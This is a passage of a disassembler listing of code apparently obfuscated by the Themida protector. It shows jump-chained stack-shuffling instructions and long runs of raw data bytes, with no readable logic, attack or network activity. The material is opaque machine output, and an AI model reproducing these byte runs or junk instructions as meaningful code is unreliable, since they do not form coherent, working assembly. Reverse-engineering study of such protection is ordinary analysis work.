0E95B66FFh, 0FFFFC00Ch, 0E1C0E9D0h, 0F6C9FE02h dd 0E9E186D9h, 3D06h, 80FECE80h, 0B6E901C6h, 5FFFFFF8h dd 0A958E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5895E2: ; CODE XREF: Themida_:0058A853j add esp, 4 jmp loc_581C2A ; --------------------------------------------------------------------------- dw 0DF31h dd 2EFC15Bh, 0DFF7E7D1h, 8106EFC1h, 0E59EC4EFh, 5FFA31A1h dd 148BD031h, 4F685024h, 89000075h, 4832424h, 5580424h dd 4, 8D3AE953h, 433FFFFh, 0E8C15C24h, 50C83118h, 33240431h dd 62E92404h, 8BFFFFE2h, 0C481240Ch, 4, 584F581h, 0EF317748h dd 0FFEF815Dh, 81FFFFFFh, 6A7BE3EFh, 1F9E9FCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_589656: ; CODE XREF: Themida_:00583DCBj pop eax add esp, 4 add ebp, 2ED57AECh add ebp, esi push ebx mov ebx, 2ED57AECh sub ebp, ebx pop ebx mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mul cl movzx cx, ah push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp jmp loc_58225A ; --------------------------------------------------------------------------- dd 2864E980h, 0EB8059CBh, 0C0B60F8Ah, 5287048Dh, 4EC81h dd 8F540000h, 0DEE92404h, 81FFFFC0h, 0A184DEBh, 4EC8342h dd 68243C89h, 3F77h, 8B240489h, 70E9243Ch, 0B5FFFF9Ch dd 59E88840h, 0E98AEB80h, 40D5h ; --------------------------------------------------------------------------- loc_5896E0: ; CODE XREF: Themida_:0058393Ej xchg eax, [esp] jmp loc_588AEF ; --------------------------------------------------------------------------- dd 0E95BD801h, 0FFFFEAD1h, 482BE995h, 48F0000h, 89E95C24h dd 87000014h, 0F9E92404h, 81FFFFCDh, 4C4h, 4C18100h, 56000000h dd 3F25DBBEh, 0C41E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58971E: ; CODE XREF: Themida_:0058D3E3j mov [esp], ecx mov ecx, 70573630h add ebx, 338909E3h add ebx, ecx sub ebx, 338909E3h jmp loc_586CEF ; --------------------------------------------------------------------------- loc_589739: ; CODE XREF: Themida_:00585589j sub eax, 4 jmp loc_58C659 ; --------------------------------------------------------------------------- db 89h dd 4BA2414h, 1000000h, 24148BD0h, 4C481h, 0BB530000h, 4 dd 3251C2Dh, 5D80177h, 7703251Ch, 5B2434FFh, 4C481h, 4870000h dd 24248B24h, 3B68E9F7h, 8900000Ch, 0EC83242Ch, 48F5404h dd 0A258E924h, 74FFFFFFh, 8F5F0424h, 665C2404h, 5024048Bh dd 0FFEF58E9h, 3EC981FFh, 0F7730503h, 0E9E1D1D1h, 0FFFFD267h ; --------------------------------------------------------------------------- loc_5897B0: ; CODE XREF: Themida_:00585BDBj xchg ecx, [esp] pop esp or eax, eax jnz loc_587FF3 push 4921h mov [esp], ebx mov ebx, 1 mov edx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ecx push 17E6h mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx jmp loc_58AECE ; --------------------------------------------------------------------------- dd 0CFFECFFEh, 28DBEF80h, 0F4805BFCh, 58E3009Ch, 8456E95Ah dd 0C281FFFFh, 5B5E172Fh, 8103EAC1h, 48F577EAh, 5AD629D2h dd 8105E6C1h, 0B53B92EEh, 0E9EE3192h, 24F6h, 4EC81h, 34890000h dd 72906824h, 8F540000h, 9CE92404h, 8100001Bh, 0C9B0FCC3h dd 0E9DE89F7h, 1788h, 3BE9FE01h, 1FFFFB6h, 0C2815FFAh dd 4, 5C241487h, 68C8B70Fh, 5E6Eh, 0E9240C89h, 0FFFF805Dh dd 8B243487h, 34FF2424h, 36685A24h, 89000074h, 0E789243Ch dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC83241Ch dd 243C8904h, 468h, 27A9E900h, 22BE0000h, 0C16EA378h, 814E03EEh dd 0D46F02F6h, 5EF2290Dh, 8108E2C1h, 735A2BCAh, 0BCC2810Dh dd 29C24D24h, 402D5AD0h, 81552106h, 4ECh, 243C8900h, 0F83CD1BFh dd 17C78150h, 830FF6BFh, 348904ECh, 4903BE24h, 0BE562C5Dh dd 745366D5h, 295EF001h, 66D52DF0h, 0E95E7453h, 0FFFFF89Dh dd 32E9E689h, 5DFFFF8Ch, 42Dh, 24048700h, 2404895Ch, 4B8h dd 5CC68100h, 12B1912h, 5CEE81C6h, 8B2B1912h, 0C4812404h dd 4, 2BF57h, 0FE010000h, 2434335Fh, 33243431h, 248B2434h dd 48B6624h, 8B545724h, 0C483243Ch, 4EC8104h, 89000000h dd 85E92434h, 8BFFFFC3h, 0FA682404h, 0E9000013h, 1523h dd 6F6FB951h, 0C181619Dh, 57BB4918h, 0D1F7D1F7h, 0FF98D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_589985: ; CODE XREF: Themida_:0058DB9Bj push eax mov eax, 4 add ecx, eax pop eax push ebp push ecx mov ecx, 7FDB015Ch mov ebp, ecx pop ecx xor ebp, 3AA2514Ch shl ebp, 5 push edx mov edx, 0AF2A0204h xor ebp, edx pop edx jmp loc_585BD8 ; --------------------------------------------------------------------------- dd offset dword_455248+1A120h align 4 dd 0E9240C89h, 355Eh, 8B2434FFh, 89522404h, 4C281E2h, 0E9000000h dd 0FFFF8EB5h, 8158C629h, 91ECA0EEh, 5EF30176h, 0DF77D705h dd 0F8B95125h, 2906717Fh, 0D80159C8h, 717FF805h, 0D412E906h dd 4242FFFFh, 140CEA81h, 0D389E5C2h, 3EBC15Ah, 7807C381h dd 8AE92931h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_589A0F: ; CODE XREF: Themida_:0058C328j mov [esp], ebx pop ebp jmp loc_58B3E2 ; --------------------------------------------------------------------------- aLSj db '‹$$Ó$$é¦>',0 dw 0FF00h dd 0E9042474h, 0FFFF94A5h, 8702C083h, 845C2404h, 8EE99CC8h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589A3B: ; CODE XREF: Themida_:00589115j sub [esp+4], ebp mov ebp, [esp] add esp, 4 pop eax jmp loc_587A85 ; --------------------------------------------------------------------------- dw 9392h dd 9293D3F7h, 8B595251h, 0C4832414h, 41F18104h, 81C7C5EBh dd 5A4D46EFh, 81CF2923h, 5A4D46C7h, 240C8B23h, 4C481h dd 0E9C30000h, 0FFFF7E49h, 4BF57h, 0F9010000h, 4C1835Fh dd 0E9240C33h, 0FFFF85F0h, 8904EC83h, 0DAB9240Ch, 0E9088C39h dd 0FFFFE6B5h, 5C241487h, 243CD366h, 7E17E99Ch, 0FB29FFFFh dd 0FFFB22E9h, 242C8BFFh, 0E904C483h, 0FFFFC929h, 0B15166B6h dd 285FE9ADh, 74FF0000h, 348B0424h, 4C48324h, 5C24048Fh dd 0F16EE957h, 355EFFFFh, 5E761A39h, 351D6A0Dh, 1F7A2D20h dd 0C1813177h, 5659670Dh, 0E981C101h, 5659670Dh, 4BE5658h dd 83000000h, 348904ECh, 2CE5BE24h, 0E681473Eh, 426167EFh dd 7BDF681h, 0F6814EC8h, 3A1D79FBh, 0A1E9F129h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589B2B: ; CODE XREF: Themida_:00589DE1j push esi mov esi, 0DED4D47h sub dword ptr [esp+8], 303C56FDh add [esp+8], esi sub esp, 4 jmp loc_5890A5 ; --------------------------------------------------------------------------- db 81h, 0E9h, 50h dd 5D738A7Bh, 5C240C87h, 52B95157h, 816CCE65h, 0CE6556F1h dd 0E9CF896Ch, 0FFFF8606h ; --------------------------------------------------------------------------- loc_589B64: ; CODE XREF: Themida_:00581F76j add esp, 4 jmp loc_585C39 ; --------------------------------------------------------------------------- db 1 dd 34875AD6h, 0F1E95C24h, 0B2FFFF7Fh, 0B5C28095h, 0B551EA28h dd 0FEDDF637h, 0A0EAE9CDh, 34FFFFFFh, 54575824h, 113AE95Fh dd 248B0000h, 243C8924h, 0B82DE954h, 51ADFFFFh, 0FFE762E9h dd 0E9D701FFh, 0FFFFDACFh, 0E90EC581h, 0ED811F7Eh, 12F1715Eh dd 4548F581h, 0C58143B5h, 2C5672C7h, 0EF0E945h, 0BD550000h dd 7FE1321Ch, 59C7F581h, 0C5813045h, 0D2BCFD99h, 23E9E831h dd 66FFFF9Bh, 6824048Bh, 4C8Bh, 54240C89h, 0E92434FFh dd 0FFFFD3C6h, 5358C609h, 7A103ABBh, 0AFEE81A4h, 297A4E7Eh dd 864EE9DEh, 0B951FFFFh, 595E45E1h, 4244C31h, 81240C8Bh dd 4C4h, 243C8B00h, 0FFA352E9h, 216858FFh, 8900000Ch, 0A1BB241Ch dd 0E97F8B73h, 0FFFFC593h ; --------------------------------------------------------------------------- loc_589C44: ; CODE XREF: Themida_:005855ACj mov esi, esp add esi, 4 jmp loc_584658 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 1A8CE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_589C5A: ; CODE XREF: Themida_:00586E56j add edx, 4 xchg edx, [esp] pop esp jmp loc_58731F ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 align 10h dd 0E95150C3h, 0FFFF90F0h, 0F7243489h, 16E92414h, 66000036h dd 0DC25E95Bh, 0C87FFFFh, 89535C24h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 381F685Ch, 1C890000h, 4BBDBB24h, 514B104Eh dd 10B17B9h, 0CEEB8130h, 290F7621h, 0CEC381CBh, 590F7621h dd 0FF7E76E9h, 0C8B66FFh, 0C4D0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589CD2: ; CODE XREF: Themida_:0058CEADj push edi mov edi, 1CCE0E45h dec edi jmp loc_585E12 ; --------------------------------------------------------------------------- dw 862Dh dd 0E922D906h, 0FFFFDD50h, 2434FF5Ch, 0E2895258h, 4498B951h dd 0E9561836h, 0FFFFC2D5h, 4C481h, 0C6810000h, 4, 8904EC83h dd 5EE9242Ch, 8BFFFFA8h, 8E9241Ch, 0B9FFFFCCh, 257D390Fh dd 0FFAEC7E9h, 7B9FE9FFh, 8B66FFFFh, 5451240Ch, 81240C8Bh dd 4C4h, 4C18100h, 0E9000000h, 0FFFFAE87h ; --------------------------------------------------------------------------- loc_589D44: ; CODE XREF: Themida_:00581FABj mov edi, [esp] push 4783h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_58C8F7 ; --------------------------------------------------------------------------- db 21h dd 151E9E8h, 52E90000h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589D77: ; CODE XREF: Themida_:0058D7CBj mov [esp], ebx mov ebx, 4DF55D54h add ebp, 55F44A50h sub ebp, ebx jmp loc_58AA52 ; --------------------------------------------------------------------------- dd 3304C483h, 14312414h, 24143324h, 8924248Bh, 478F2404h dd 2434FF40h, 5724048Bh, 0EC83E789h, 242C8904h, 39A3BE56h dd 2ABD463Bh, 0E95FD68Ch, 0FFFF9AAFh, 4C6815Eh, 83000000h dd 0E95604EEh, 0FFFFFC53h ; --------------------------------------------------------------------------- loc_589DD0: ; CODE XREF: Themida_:00586582j pop ecx add edx, 1 push edi push ebx jmp loc_58D4B6 ; --------------------------------------------------------------------------- loc_589DDB: ; CODE XREF: Themida_:0058D8C4j xor eax, 0EB02A87h pop ecx jmp loc_589B2B ; --------------------------------------------------------------------------- dw 0EF81h dd 1F0272A2h, 4087EF81h, 0E781481Bh, 34FB2285h, 2281B850h dd 0C7290480h, 0CAB1E958h, 4941FFFFh, 0C932E957h, 8950FFFFh dd 0E50EE9E0h, 8B66FFFFh, 54532404h, 4C3815Bh, 81000000h dd 4EBh, 241C3300h, 33241C31h, 895C241Ch, 0E9542404h, 0B69h dd 83242489h, 8B042404h, 0C4832434h, 4C68104h, 0E9000000h dd 0FFFFB93Bh ; --------------------------------------------------------------------------- loc_589E54: ; CODE XREF: Themida_:0058D810j push edi mov edi, 75BC3874h and edi, 36805548h xor edi, 0ADC6DC5h not edi jmp loc_58CBAC ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 7A4FE930h, 2489FFFFh, 24048124h, 4, 582434FFh dd 8A68E953h, 0F781FFFFh, 0EC348546h, 3C8BF829h, 0D8E95224h dd 2CFFFFA7h, 0E9D00072h, 0FFFF855Eh, 2816C780h, 16EF80F7h dd 12AFE9h, 6800h, 0C290000h, 2BE95924h, 8BFFFFEDh, 0FB68242Ch dd 8900003Ah, 0FF54240Ch, 81592434h, 4C4h, 2B50E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_589EDE: ; CODE XREF: Themida_:0058356Aj neg edx add edx, 35D3C63h jmp loc_584BAB ; --------------------------------------------------------------------------- db 68h dd 0DE0h, 89240C89h, 4C181E1h, 83000000h, 0C3304C1h, 240C3124h dd 5C240C33h, 81E18951h, 4C1h, 9851E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589F16: ; CODE XREF: Themida_:0058B1B7j add ecx, ebp pop ebp xchg ecx, [esp] pop esp push edx mov dl, bh push ecx push 78Bh mov [esp], eax mov ah, dl jmp loc_58B954 ; --------------------------------------------------------------------------- loc_589F30: ; CODE XREF: Themida_:00588007j push 4D10h mov [esp], esp add dword ptr [esp], 4 pop ecx push esi mov esi, 46126764h add esi, 0B9ED98A0h jmp loc_584910 ; --------------------------------------------------------------------------- dw 685Ch dd 1ADCh, 89240C89h, 748868E1h, 4890000h, 0AF66E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_589F66: ; CODE XREF: Themida_:00587119j add edi, 2F16FF2h xor edi, 5BFAC65Fh jmp loc_5836D3 ; --------------------------------------------------------------------------- db 8Bh dd 30E92424h, 81FFFFFAh, 4C4h, 4C48100h, 52000000h, 0FFC4A6E9h db 0FFh ; --------------------------------------------------------------------------- loc_589F91: ; CODE XREF: Themida_:005846F8j xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_58617D ; --------------------------------------------------------------------------- db 56h dd 0C215ADBEh, 8DD5E911h, 8DB3FFFFh, 0FFD530E9h, 4C483FFh dd 34FFC831h, 89535924h, 4C381E3h, 83000000h, 0EEE904C3h dd 5500002Fh, 1E6EE9h, 27D4B900h, 814148CAh, 0D02C5FE1h dd 880CE939h, 0C329FFFFh, 8904EC83h, 2CE9240Ch, 88FFFFFDh dd 0AB2FE9D1h, 74FFFFFFh, 34FF0424h, 89515824h, 4C181E1h dd 81000000h, 4E9h, 240C8700h, 0FF9C38E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A015: ; CODE XREF: Themida_:00588BE9j mov [esp], eax mov eax, 4 mov esi, eax pop eax add ebp, esi mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_58BED0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5E545600h, 4C681h, 0BF570000h, 4, 0E95FFE01h dd 155Dh, 492C180h, 28482C23h, 0E94804C8h, 0FFFFCB7Bh dd 714625BEh, 24740149h, 0B29AE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A06E: ; CODE XREF: Themida_:0058AE3Cj mov eax, esi pop esi push dword ptr [esp] jmp loc_586E4C ; --------------------------------------------------------------------------- db 1, 0D8h, 0FFh dd 815B2434h, 4C4h, 24048700h, 6624248Bh, 9C240CD3h, 0FF7834E9h dd 2474FFFFh, 240C8B04h, 8F04C483h, 5AE92404h, 31FFFF89h dd 2434FFD0h, 0FFB9D3E9h, 4B9FFh, 0C2810000h, 667725F2h dd 0D4DC281h, 45E94A3Ah, 0B9FFFFD3h, 40E9562Bh, 0DD11C181h dd 0CB292330h, 81EB0159h, 1A333CC3h, 242C8B64h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5894E8 ; --------------------------------------------------------------------------- dw 0C381h dd 4, 5C241C87h, 0FFCC2FE9h, 57E981FFh, 8936F18Fh, 6F0559C8h dd 1A91E9Fh, 24048BC3h, 4C481h, 0BD550000h, 70EF4B92h dd 3940ED81h, 0F5817BC6h, 0F5291250h, 335DEB01h, 1C31241Ch dd 241C3324h, 243CD25Ch, 778BE99Ch, 48BFFFFh, 0B82BE924h dd 0B951FFFFh, 3A19287Ch, 0E959CB29h, 2F90h ; --------------------------------------------------------------------------- loc_58A154: ; CODE XREF: Themida_:00582DD8j push edx mov edx, 4 add ebp, edx jmp loc_586E25 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0B4h dd 0E94C5A1Bh, 0FFFFEC1Fh, 8124348Bh, 4C4h, 4C48300h, 0FF8B57E9h dd 0FC00BFFh, 0FFA6D984h, 1C77FFFFh, 1D8FE9h, 4EC8300h dd 68241489h, 7D06703Eh, 5A2434FFh, 5704C483h, 0FF7F4BE9h dd 2FE953FFh, 8700003Ah, 0EA314DEAh, 3D80E9h db 0 ; --------------------------------------------------------------------------- loc_58A1B5: ; CODE XREF: Themida_:00588AF0j or eax, eax jz loc_58DC7D push 1AA6h mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 0FEh push edi jmp loc_58A92F ; --------------------------------------------------------------------------- dw 0B868h dd 89000064h, 1ABE2434h, 81962DA3h, 71F0BEAh, 81F22971h dd 71F0BC2h, 24348B71h, 4C481h, 0D3010000h, 0E92434FFh dd 3746h, 7B1668h, 243C8900h, 4BFh, 0A2BF5700h, 4F352F7Dh dd 0FF8825E9h, 73685FFFh, 8900001Ah, 0A7B9240Ch, 81017C10h dd 83EF5BC1h, 1EA068FEh, 34890000h, 257CBE24h, 0F5295268h dd 81CD015Eh, 68257CC5h, 2C335952h, 98F1E924h, 0E954FFFFh dd 395Ch, 6858C101h, 81Eh, 0BA241489h, 4, 148BD129h, 8B545324h dd 0C483241Ch, 4C38104h, 0E9000000h, 0FFFFACC3h, 0FF2434FFh dd 0E9592434h, 35E7h, 89241489h, 4C281E2h, 57000000h, 0C781E789h dd 4, 0FFC9BEE9h, 4C483FFh, 0E95DE821h, 27D1h ; --------------------------------------------------------------------------- loc_58A2B0: ; CODE XREF: Themida_:005859CCj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx push 29643FB9h mov ebx, [esp] add esp, 4 push 464Dh mov [esp], ebx not dword ptr [esp] push dword ptr [esp] mov ebx, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5833C3 ; --------------------------------------------------------------------------- db 81h dd 0EC4674C5h, 81C50178h, 0EC4674EDh, 0ED815878h, 111E6944h dd 58F3ED81h, 0C5814991h, 29360666h, 7CB0C581h, 0EA313E10h dd 0FC90B5Dh, 130C84h, 34FF5400h, 0EB1CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A336: ; CODE XREF: Themida_:00586CF0j add ebx, 0F5F81443h mov eax, ebx pop ebx jmp loc_58CC51 ; --------------------------------------------------------------------------- dd 8B243C87h, 89572424h, 0C80FE9E7h, 0C801FFFFh, 0FF8289E9h dd 0BFE95FFFh, 81000018h, 0E1522BE6h, 0E9DEF747h, 0FFFFA628h dd 1953D4BDh, 3FC5815Ch, 0E923F56Eh, 0FFFFF074h, 240C8B66h dd 6EA268h, 24048900h, 0E9525854h, 0FFFFD70Eh, 8104C483h dd 4C5h, 0B7B95100h, 0C123DB11h, 0C18303E9h, 7CE181FFh dd 816D1D39h, 275AE2F1h, 0E9D9F775h, 0FFFFD003h ; --------------------------------------------------------------------------- loc_58A3B8: ; CODE XREF: Themida_:0058B9D9j add eax, 534F0780h xor eax, 17205982h sub eax, 98BC44A0h mov esi, eax pop eax add ebx, esi pop esi push edi mov edi, 2 jmp loc_58DBAD ; --------------------------------------------------------------------------- dd 5504C483h, 4BDh, 0D8ECE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A3E6: ; CODE XREF: Themida_:005890C8j pop dword ptr [edi+24h] loc_58A3E9: ; CODE XREF: Themida_:00581A19j push eax jmp loc_582A90 ; --------------------------------------------------------------------------- db 1 dd 240C8BCDh, 0FFD165E9h, 0C4835AFFh, 4C48304h, 0E904C483h dd 1B60h, 8704C483h, 0FF5C2404h, 0FCE92434h, 89FFFF77h dd 0E95155E1h, 0FFFF94D3h, 52A80459h, 0E96BB551h, 0FFFF983Fh ; --------------------------------------------------------------------------- loc_58A42C: ; CODE XREF: Themida_:00581C3Bj mov ebp, [esp] jmp loc_5859D1 ; --------------------------------------------------------------------------- dd 99E955ADh, 81FFFFC9h, 4C3h, 4EB8100h, 87000000h, 248B241Ch dd 2383E924h, 34FF0000h, 24048B24h, 1F8AE9h, 89E98000h dd 8059CB00h, 0C3000AC3h, 98E95166h, 0B500001Dh, 23ED8031h dd 0E908E5C0h, 264h, 5E5DEB89h, 1C8BD829h, 4C48324h, 264A68h dd 0B33BE900h, 565DFFFFh, 0FFBC8DE9h, 5BDA29FFh, 24143358h dd 0FF9DEFE9h, 249268FFh, 34FF08BBh, 80E95A24h, 55000034h dd 1A3A80BDh, 0C5ED8112h, 89AF65EAh, 8DE95DE9h, 66FFFFE4h dd 52240C89h, 53BBB551h, 0FFABEEE9h, 243C8BFFh, 6804C483h dd 2F3Bh, 1FE9E9h, 0F678B200h, 0B5CA80D2h, 45B35366h, 5B66DA28h dd 0FFDEE1E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A4F9: ; CODE XREF: Themida_:00587A90j and eax, esi push dword ptr [esp] jmp loc_5870FE ; --------------------------------------------------------------------------- db 5Ah dd 4244481h, 3F75722Eh, 4244481h, 2F7F510Fh, 4245429h dd 4246C81h, 2F7F510Fh, 4246C81h, 3F75722Eh, 4246C81h dd 62513B5Bh, 2434FF5Ah, 0FFAFF4E9h, 8BF029FFh, 0C4832434h dd 71512D04h, 56535751h, 0B5E95652h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_58A54F: ; CODE XREF: Themida_:00583E96j push eax mov eax, 0D426D55Bh sub edx, eax jmp loc_586779 ; --------------------------------------------------------------------------- dd 5C241C87h, 835DEE01h, 6CE902C6h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A56B: ; CODE XREF: Themida_:0058AD9Fj inc edi jmp loc_58CC72 ; --------------------------------------------------------------------------- db 66h, 50h, 9Ch dd 0FF7350E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A579: ; CODE XREF: Themida_:00585528j add esp, 4 pop dword ptr [esp] pop esp jmp loc_5818C9 ; --------------------------------------------------------------------------- db 89h, 0EFh, 5Dh dd 685FFE01h, 4555h, 0BA241489h, 7644D09h, 5108EAC1h, 0C181E189h dd 4, 4E981h, 0C870000h, 55E95C24h, 2100001Eh, 9DABE9D9h dd 0E468FFFFh, 89000040h, 0E6892434h, 4C681h, 0BB530000h dd 18CA3E72h, 0FFEAFDE9h, 0C8B66FFh, 0E9CAE924h, 0C483FFFFh dd 4C28104h, 33000000h, 14312414h, 24143324h, 24148B5Ch dd 0E4FBE950h, 0C481FFFFh, 4, 106968h, 243C8900h, 4EC81h dd 1C890000h, 4BB24h, 0DF890000h, 89F7E95Bh, 0C280FFFFh dd 0CC0EE968h, 3433FFFFh, 24343124h, 5C243433h, 9C240400h dd 0FFA5EAE9h, 243489FFh, 194D68h, 24248900h, 4240481h dd 8B000000h, 0C4812434h, 4, 2DF8B951h, 0E18171D1h, 79435134h dd 12CBD55h, 0E9817141h, 43CA3F5Fh, 0C181E929h, 43CA3F5Fh dd 17B0E95Dh, 4AE90000h, 1FFFF72h, 7DEB81F3h, 8B61DD5Dh dd 0C4832434h, 0C3815D04h, 15827312h, 0EB81C301h, 15827312h dd 7F42EB81h, 0C068564Dh, 8900001Bh, 34E9241Ch, 68FFFFE9h dd 5BFCh, 0F7243489h, 348B2414h, 4C48124h, 50000000h, 62339CB8h dd 0EC66E9D2h, 0F201FFFFh, 0F5BB535Eh, 0C1153975h, 0E94B08E3h dd 0FFFFBC5Ah, 7E9CDFEh, 8100001Bh, 1F7258F5h, 2BC5815Fh dd 8118F615h, 0B85819EDh, 5DF5813Eh, 1F5F6ECh, 0C5895DE8h dd 8124048Bh, 4C4h, 0BD555100h, 63E46061h, 0AAC5814Dh dd 89BE0AB1h, 0E30AE9E9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A722: ; CODE XREF: Themida_:00581F3Aj push edi mov edi, 68C23A65h neg edi or edi, 63993801h xor edi, 73501344h xor edi, 84EDEEDDh sub ebp, 0F6619AAh add ebp, edi add ebp, 0F6619AAh pop edi push ebp push dword ptr [esp+4] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_58C0B2 ; --------------------------------------------------------------------------- dd 89242C89h, 4C581E5h, 53000000h, 4BBh, 84C58100h, 292C0B1Dh dd 84ED81DDh, 0E92C0B1Dh, 0FFFFACECh, 0AFF8E959h, 0EC81FFFFh dd 4, 0FF8512E9h, 0E5E95CFFh db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58A79F: ; CODE XREF: Themida_:00582DB4j pop esp jmp loc_587D3A ; --------------------------------------------------------------------------- db 66h, 0Fh, 0BBh dd 0E99C2404h, 0FFFF7119h, 0CB800AB3h, 2E3C016h, 0FF984DE9h dd 88CCFEFFh, 0E95866E5h, 0FB8h, 9D1C77FFh, 24041158h dd 70F3E99Ch, 248BFFFFh, 9CC88524h, 0FF70E8E9h, 242C89FFh dd 8BE9E589h, 1FFFFA7h, 0C875FF9h, 24248B24h, 5451C80Fh dd 81240C8Bh, 4C4h, 2D76E900h, 0E9550000h, 2929h, 48BC109h dd 4C48124h, 87000000h, 0D93143D9h, 0D931CB31h, 877BC181h dd 0E953935Fh, 164h, 0E904C483h, 0FFFFE656h ; --------------------------------------------------------------------------- loc_58A834: ; CODE XREF: Themida_:0058726Fj xor ecx, 165D600Bh add esi, ecx pop ecx sub esi, edi sub esi, 720329BAh xchg esi, edi pop esi xor edi, 5F5F35C0h and eax, edi mov edi, [esp] jmp loc_5895E2 ; --------------------------------------------------------------------------- dd 0E6E9815Eh, 811E7C40h, 9513AAE9h, 75F18173h, 8988F19Ch dd 0BE69E9CFh, 0EE81FFFFh, 0DDB8DF49h, 34FFF231h, 9454E924h dd 0C230FFFFh, 0DF045866h, 0DF2CD000h, 0E924148Bh, 0FFFF98B4h dd 81E28952h, 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h dd 5224248Bh, 0F0263ABAh, 94BD550Bh, 0E916FC40h, 0FFFF7017h dd 31241433h, 14332414h, 1DE95C24h, 5CFFFFC1h, 31243433h dd 34332434h, 24248B24h, 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi push edi jmp loc_584D0C ; --------------------------------------------------------------------------- loc_58A8EA: ; CODE XREF: Themida_:0058B719j add ecx, eax pop eax add ecx, 4 xchg ecx, [esp] jmp loc_589568 ; --------------------------------------------------------------------------- db 8Bh dd 0FF662424h, 0E99C2404h, 0FFFF6FC1h, 0BF57C301h, 3C462A56h dd 0FFFFC781h, 60E9FFFFh, 6600001Eh, 5124048Bh, 0FF9386E9h db 0FFh ; --------------------------------------------------------------------------- loc_58A925: ; CODE XREF: Themida_:00586E8Fj push 3D25h jmp loc_588DC2 ; --------------------------------------------------------------------------- loc_58A92F: ; CODE XREF: Themida_:0058A1D1j push ebx push ecx mov ecx, 1B03646Ah push ecx pop ebx pop ecx xor [esp+4], ebx pop ebx mov ecx, [esp] add esp, 4 xor ecx, 1B03646Ah push dword ptr [esp] jmp loc_58B326 ; --------------------------------------------------------------------------- dw 8968h dd 8900002Bh, 8B54242Ch, 0E951242Ch, 0FFFFD2A6h, 36F6C581h dd 0EF21D2F6h, 52D7F75Dh, 0FF9F5AE9h, 5DE829FFh, 42E9D029h dd 31FFFFC3h, 2C33242Ch, 24248B24h, 0E9242C89h, 1BBAh dd 2E79D5BBh, 5BD8017Eh, 0FFF9B5E9h, 0F1015BFFh, 0FFAC72E9h dd 0E95358FFh, 0FFFF90F9h, 4C781h, 0C7810000h, 4, 1D9EE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58A9BE: ; CODE XREF: Themida_:0058490Bj sub ecx, 743A7130h pop edx jmp loc_58C696 ; --------------------------------------------------------------------------- dw 248Bh dd 148B6624h, 63F76824h, 3C890000h, 81E78924h, 4C7h, 4EF8100h dd 87000000h, 895C243Ch, 1968240Ch, 5400006Eh, 0E924048Fh dd 0A99h, 0CA27E82Dh, 45E95233h, 53FFFF82h, 0FFB9FAE9h dd 1CE952FFh, 68000029h, 229Eh, 0FFD0F6E9h, 1F6853FFh dd 5B64F936h, 0F707E3C1h, 0A9DCE9DBh, 34FFFFFFh, 24148B24h dd 4C481h, 89520000h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 114DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_58AA52: ; CODE XREF: Themida_:00589D87j sub ebp, 55F44A50h pop ebx neg ebp push 6614h mov [esp], esi push edx mov edx, 1CF248CCh mov esi, 0DC464F35h jmp loc_58D342 ; --------------------------------------------------------------------------- db 8Bh dd 63E9240Ch, 68FFFFFBh, 1917h, 0FF243C89h, 48B2434h, 4C48124h dd 83000000h, 34FF04C4h, 243C8B24h, 81E18951h, 4C1h, 4C18100h dd 0E9000000h, 0FFFFF1DEh, 5624148Bh, 0C681E689h, 4, 0FFBBA5E9h dd 6E07E9FFh, 8145FFFFh, 56194FEDh, 8F22D43h, 0E8013C98h dd 9808F205h, 0D1685D3Ch, 89000072h, 2BF243Ch, 1000000h dd 4335FF8h, 553E924h, 0D0280000h, 2C5A665Ah, 4F00061h dd 5A922C61h, 6BD68h, 240C8900h, 0C181E189h, 4, 